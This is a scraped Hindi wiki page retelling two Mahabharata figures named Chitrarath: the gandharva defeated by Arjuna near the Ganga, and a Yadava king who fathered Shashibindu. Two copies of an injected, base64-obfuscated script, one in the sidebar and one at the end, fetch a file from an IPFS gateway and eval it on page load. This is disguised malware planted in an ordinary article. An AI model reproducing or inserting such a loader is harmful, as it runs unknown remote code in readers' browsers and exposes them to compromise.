चित्ररथ

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • महाभारत के प्रमुख पात्र
    • कृष्ण|कृष्ण
    • अर्जुन|अर्जुन
    • धृतराष्ट्र|धृतराष्ट्र
    • द्रोणाचार्य|द्रोणाचार्य
    • कुन्ती|कुन्ती
    • दुर्योधन|दुर्योधन
    • कर्ण|कर्ण
    • अभिमन्यु|अभिमन्यु
    • भीम|भीम
    • द्रौपदी|द्रौपदी
    • युधिष्ठिर|युधिष्ठिर
    • वेदव्यास|वेदव्यास
    • अश्वत्थामा|अश्वत्थामा
    • गांधारी|गांधारी
    • जरासंध|जरासंध
    • भीष्म|भीष्म
    • शकुनि|शकुनि
    • संजय|संजय

</sidebar>

चित्ररथ / Chitrarath

1. चित्ररथ गंधर्व

पांडवों के साथ कुंती ने पांचाल देश की ओर प्रस्थान किया। मार्ग में गंगा के किनारे सोमाश्रयायण नामक तीर्थ पड़ता था। रात्रि की बेला में वे वहां जा निकले। उस समय गंगा में गंधर्वराज अंगारपर्ण चित्ररथ अपनी पत्नी के साथ जलक्रीड़ा कर रहा थां उस एकांत में पांडवों की पदचाप सुनकर वह क्रुद्ध हो उठा। पांडवों में सबसे आगे हाथ में मशाल लिये अर्जुन थे। चित्ररथ ने कहा कि रात्रि का समय गंधर्व, यक्ष तथा राक्षसों के विचरण के लिए निश्चित है अत: उनका आगमन अनुचित था। उसने अर्जुन पर प्रहार किया। अर्जुन ने उसपर आग्नेयास्त्र छोड़ दिया, जिससे वह मूर्च्छित हो गया। उसकी पत्नी कुंभीनसी ने युधिष्ठिर की शरण ग्रहण की। पांडवों ने चित्ररथ को छोड़ दिया। चित्ररथ ने कृतज्ञता प्रदर्शन करते हुए उन्हें चाक्षुषी विद्या सिखायी। इस विद्या के प्रभाव से, जिसे जिस रूप में देखने की इच्छा हो, देखा जा सकता है। चित्ररथ ने प्रत्येक पांडव को गंधर्वलोक के सौ-सौ घोड़े प्रदान किये जो स्वेच्छा से आकार-प्रकार तथा रंग बदलने में समर्थ थे। वे घोड़े कभी भी स्मरण करने पर उपस्थित हो सकते थे। अर्जुन ने चित्ररथ को दिव्यास्त्र (आग्नेयास्त्र) की विद्या प्रदान की। चित्ररथ का रथ उस युद्ध में खंडित हो गया था अत: उसने अपना नाम चित्ररथ के स्थान पर दग्धरथ रख लिया। [१]

2. चित्ररथ शशिबिंदु का पिता

महाभारत में वर्णित चित्ररथ, शशिबिंदु का पिता यादव राजा था। भागवत तथा कुछ अन्य पुराणों में शशिबिंदु की स्त्रियों की संख्या दस हज़ार बताई गई है। इनमें से प्रत्येक स्त्री से दस-दस हज़ार पुत्र उत्पन्न हुए थे। यह यम की सभा में रहकर उसकी उपासना करता था। इसकी पुत्री अयोध्यापति मान्धाता को ब्याही थी।

टीका टिप्पणी और संदर्भ

  1. महाभारत, आदिपर्व, अध्याय 169

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>